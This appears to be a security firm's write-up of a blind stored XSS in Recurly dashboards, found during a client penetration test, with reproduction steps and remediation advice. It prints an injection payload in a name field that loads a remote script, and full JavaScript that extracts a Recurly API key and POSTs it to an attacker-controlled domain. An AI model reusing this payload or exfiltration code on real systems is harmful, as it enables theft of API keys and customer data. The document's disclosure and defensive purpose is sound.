SILENT THREAT: Blind XSS affecting all recurly instances

Screenshot

Our researchers were conducting a web application penetration testing for one of our clients and while modifying the account data such as first and last name fields, they discovered that they were not being properly sanitized. The vulnerable parameters could have been exploited to inject malicious JavaScript code, resulting in Stored XSS.

Cross-Site Scripting (XSS) is a type of injection attack where malicious JavaScript is injected into a website. When a user visits the affected web page, the Javascript executes within that user’s browser in the context of the domain.

Due to the fact that our client was using Recurly to manage its subscriptions, the researchers successfully injected Blind XSS payloads into these fields, which were executed in the Recurly dashboard.

Blind XSS is a persistent type of XSS that relies on vulnerabilities in the code of the target web pages, which allow malicious scripts, inserted into web controls, to be saved by the server in a database or web site file. Blind XSS vulnerabilities are much more difficult to detect than other types of XSS flaws, and they require a security testing tool that can detect blind/out-of-band vulnerabilities using a dedicated external service

While the session cookies linked to a Recurly account were properly configured with recommended security headers, the security researchers demonstrated their impact by extracting the API token, which could then be used to execute a variety of requests using their public API documentation.

Although Recurly is responsible for the vulnerability in their app, the primary reason this payload was identified and executed was because our client did not properly sanitize the input in username fields of their app.

Due to the severity of this vulnerability, our team immediately reported it to our client and also Recurly since it could be exploited by malicious actors.

Reproduction Steps (POC)

Using a valid account the assessment team navigated to https://app.client.domain and logged in.

From the upper right corner we clicked on the profile logo/avatar then “Profile” as seen in the screenshot below.

Figure 1 – Navigating to profile
Figure 1 – Navigating to profile

Since there were some front-end validations and characters such as “<” or “>” could not be inserted in the name fields, it was necessary to insert only letters in the vulnerable “First name” or “Last name” fields then intercept the request using a tool such as Burp Suite before clicking on the “Save Changes” button.

Figure 2 – Saving changes
Figure 2 – Saving changes

We sent the intercepted request to the “Repeater” tab in Burp Suite and modified the “firstname” parameter to contain the following payload (as also seen in the screenshot below).

"test><img src=x onerror=\"$.getScript('https://your_blind_xss_instance/')\">"
Figure 3 – Vulnerable parameter
Figure 3 – Vulnerable parameter

As seen in the screenshot below, the image tag (<img>) has been successfully rendered and our javascript payload has been executed.

Figure 4 – Payload rendered and executed
Figure 4 – Payload rendered and executed

The above payload which we inserted in the vulnerable fields, will load an external script stored at https://our_blind_xss_instance/pretera3344 with the following JavaScript code.

async function fetchDataAndSendToTest() {
try {
const settingsURL = 'https://CLIENT_HERE.recurly.com/integrations/api_keys';
const response = await fetch(settingsURL);

if (!response.ok) {
throw new Error('Failed to fetch data from "https://CLIENT_HERE.recurly.com/integrations/api_keys".');
}

const htmlSource = await response.text();
const dataKeyIdPattern = /data-key-id='([^']+)'/;
const match = htmlSource.match(dataKeyIdPattern);

if (!match) {
throw new Error('Unable to extract data-key-id from the HTML source.');
}

const dataKeyId = match[1];
const apiKeyValueURL = `https://CLIENT_HERE.recurly.com/integrations/api_keys/${dataKeyId}/api_key_value`;
const apiKeyResponse = await fetch(apiKeyValueURL);

if (!apiKeyResponse.ok) {
throw new Error('Failed to fetch API key value.');
}

const apiKeyValue = await apiKeyResponse.json();
const testURL = 'https://pretera_domain_here/';

const sendToTestResponse = await fetch(testURL, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(apiKeyValue),
});

if (sendToTestResponse.ok) {
console.log('Data sent to Pretera successfully.');
} else {
throw new Error('Failed to send data to Pretera domain);
}
} catch (error) {
console.error('Error:', error);
}
}

fetchDataAndSendToTest();

When the above code is executed, it will retrieve the “data-key-id” parameter value from Recurly’s API Keys endpoint, utilize the extracted value to do another GET request to extract the specific API key belonging to the client, and exfiltrate it to our controlled server, as shown in the screenshots below.

Figure 5 – Blind XSS instance
Figure 5 – Blind XSS instance
Figure 6 – API key exfiltrated
Figure 6 – API key exfiltrated

It was then possible to use the extracted API key to execute various actions related to Recurly’s API documentation, such as listing subscribed users or transactions belonging to our client.

Figure 7 – Enumerating accounts in Recurly
Figure 7 – Enumerating accounts in Recurly
Figure 8 – Listing transactions
Figure 8 – Listing transactions

In conclusion, an attacker who had the ability to exploit this cross-site scripting vulnerability was able to:

  • Impersonate or masquerade as the victim user.
  • Carry out any action that the user is able to perform.
  • Read any data that the user is able to access.
  • Perform virtual defacement of the web site.
  • Redirect users to a phishing page, and so on.

Remediation

The below recommendations were immediately addressed to our client and also Recurly team in order to remediate this issue:

  • Always treat all user input as untrusted data.
  • Never insert untrusted data except in allowed locations.
  • Always input or output-encode all data coming into or out of the application.
  • Always whitelist allowed characters and seldom use blacklisting of characters except in certain use cases.
  • Always use a well-known and security encoding API for input and output encoding such as the OWASP ESAPI.
  • Never try to write input and output encoders unless absolutely necessary. Chances are that someone has already written a good one.
  • Never use the DOM function innerHtml and instead use the functions innerText and textContentto prevent against DOM-based XSS.
  • As a best practice, consider using the HTTPOnly flag on cookies that are session tokens or sensitive tokens.
  • As a best practice, consider implementing Content Security Policy to protect against XSS and other injection type attacks.
  • As a best practice, consider using an auto-escaping templating system.

References

CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’): https://cwe.mitre.org/data/definitions/79.html

Cross-Site Scripting (XSS): https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Share this Link